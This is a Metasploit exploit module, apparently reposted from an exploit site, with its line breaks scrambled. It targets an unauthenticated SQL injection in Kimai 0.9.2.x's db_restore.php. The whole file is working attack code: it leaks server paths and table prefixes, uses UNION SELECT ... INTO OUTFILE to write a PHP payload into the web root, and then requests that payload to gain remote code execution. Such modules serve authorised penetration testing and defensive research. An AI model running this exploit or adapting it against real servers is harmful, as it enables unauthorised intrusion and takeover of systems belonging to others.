##
# This
module requires Metasploit: http//metasploit.com/download
##
require
'msf/core'
class Metasploit3
< Msf::Exploit::Remote
Rank
= AverageRanking
include
Msf::Exploit::Remote::HttpClient
include
Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Kimai v0.9.2
'db_restore.php' SQL Injection",
'Description' => %q{
This
module exploits a SQL injection
vulnerability in Kimai version
0.9.2.x.
The 'db_restore.php' file allows
unauthenticated users to
execute
arbitrary SQL queries. This module writes
a PHP payload to
disk
if the following conditions are met: The PHP configuration
must
have
'display_errors' enabled, Kimai must be
configured to use a
MySQL
database running on localhost; and
the MySQL
user must have
write
permission to the Kimai 'temporary'
directory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'drone
(@dronesec)', # Discovery and PoC
'Brendan
Coles <bcoles[at]gmail.com>'
#
Metasploit
],
'References' =>
[
['EDB' => '25606'],
['OSVDB' => '93547'],
],
'Payload' =>
{
'Space' => 8000, # HTTP POST
'DisableNops'=>
true,
'BadChars' => "\x00\x0a\x0d\x27"
},
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
#
Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
[
'Kimai version 0.9.2.x (PHP Payload)', { 'auto' =>
true } ]
],
'Privileged' => false,
'DisclosureDate' =>
'May 21 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',
[true, 'The base path to Kimai', '/kimai/']),
OptString.new('FALLBACK_TARGET_PATH',
[false, 'The path to the web server document root directory', '/var/www/']),
OptString.new('FALLBACK_TABLE_PREFIX',
[false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
],
self.class)
end
#
#
Checks if target is Kimai version 0.9.2.x
#
def check
print_status("#{peer}
- Checking version...")
res
= send_request_raw({ 'uri' =>
normalize_uri(target_uri.path, "index.php") })
if not res
print_error("#{peer}
- Request timed out")
return Exploit::CheckCode::Unknown
elsif res.body
=~ /Kimai/ and res.body =~
/(0\.9\.[\d\.]+)<\/strong>/
version
= "#{$1}"
print_good("#{peer}
- Found version: #{version}")
if version
>= "0.9.2" and version
<= "0.9.2.1306"
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end
def exploit
#
Get file system path
print_status("#{peer}
- Retrieving file system path...")
res
= send_request_raw({ 'uri' =>
normalize_uri(target_uri.path, 'includes/vars.php') })
if not res
fail_with(Failure::Unknown,
"#{peer} - Request timed out")
elsif res.body
=~ /Undefined variable: .+ in (.+)includes\/vars\.php
on line \d+/
path
= "#{$1}"
print_good("#{peer}
- Found file system path: #{path}")
else
path
= normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
print_warning("#{peer}
- Could not retrieve file system path. Assuming '#{path}'")
end
#
Get MySQL table name prefix from temporary/logfile.txt
print_status("#{peer}
- Retrieving MySQL table name prefix...")
res
= send_request_raw({ 'uri' =>
normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
if not res
fail_with(Failure::Unknown,
"#{peer} - Request timed out")
elsif prefixes
= res.body.scan(/CREATE TABLE `(.+)usr`/)
table_prefix
= "#{prefixes.flatten.last}"
print_good("#{peer}
- Found table name prefix: #{table_prefix}")
else
table_prefix
= normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
print_warning("#{peer}
- Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
end
#
Create a backup ID
print_status("#{peer}
- Creating a backup to get a valid backup ID...")
res
= send_request_cgi({
'method' => 'POST',
'uri' =>
normalize_uri(target_uri.path, 'db_restore.php'),
'vars_post' =>
{
'submit' => 'create backup'
}
})
if not res
fail_with(Failure::Unknown,
"#{peer} - Request timed out")
elsif backup_ids
= res.body.scan(/name="dates\[\]"
value="(\d+)">/)
id
= "#{backup_ids.flatten.last}"
print_good("#{peer}
- Found backup ID: #{id}")
else
fail_with(Failure::Unknown,
"#{peer} - Could not retrieve backup ID")
end
#
Write PHP payload to disk using MySQL injection 'into outfile'
fname
= "#{rand_text_alphanumeric(rand(10)+10)}.php"
sqli
= "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded}
?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
print_status("#{peer}
- Writing payload (#{payload.encoded.length} bytes) to
'#{path}/temporary/#{fname}'...")
res
= send_request_cgi({
'method' => 'POST',
'uri' =>
normalize_uri(target_uri.path, 'db_restore.php'),
'vars_post' =>
Hash[{
'submit' => 'recover',
'dates[]' =>
sqli
}.to_a.shuffle]
})
if not res
fail_with(Failure::Unknown,
"#{peer} - Request timed out")
elsif res.code
== 200
print_good("#{peer}
- Payload sent successfully")
register_files_for_cleanup(fname)
else
print_error("#{peer}
- Sending payload failed. Received HTTP code: #{res.code}")
end
#
Remove the backup
print_status("#{peer}
- Removing the backup...")
res
= send_request_cgi({
'method' => 'POST',
'uri' =>
normalize_uri(target_uri.path, 'db_restore.php'),
'vars_post' =>
Hash[{
'submit' => 'delete',
'dates[]' =>
"#{id}"
}.to_a.shuffle]
})
if not res
print_warning("#{peer}
- Request timed out")
elsif res.code
== 302 and res.body
!~ /#{id}/
vprint_good("#{peer}
- Deleted backup with ID '#{id}'")
else
print_warning("#{peer}
- Could not remove backup with ID '#{id}'")
end
#
Execute payload
print_status("#{peer}
- Retrieving file '#{fname}'...")
res
= send_request_raw({
'uri' =>
normalize_uri(target_uri.path, 'temporary', "#{fname}")
},
5)
end
end
#
6E323FA65786C91A 1337day.com [2013-11-28]
2A49EC6D4B9669E0 #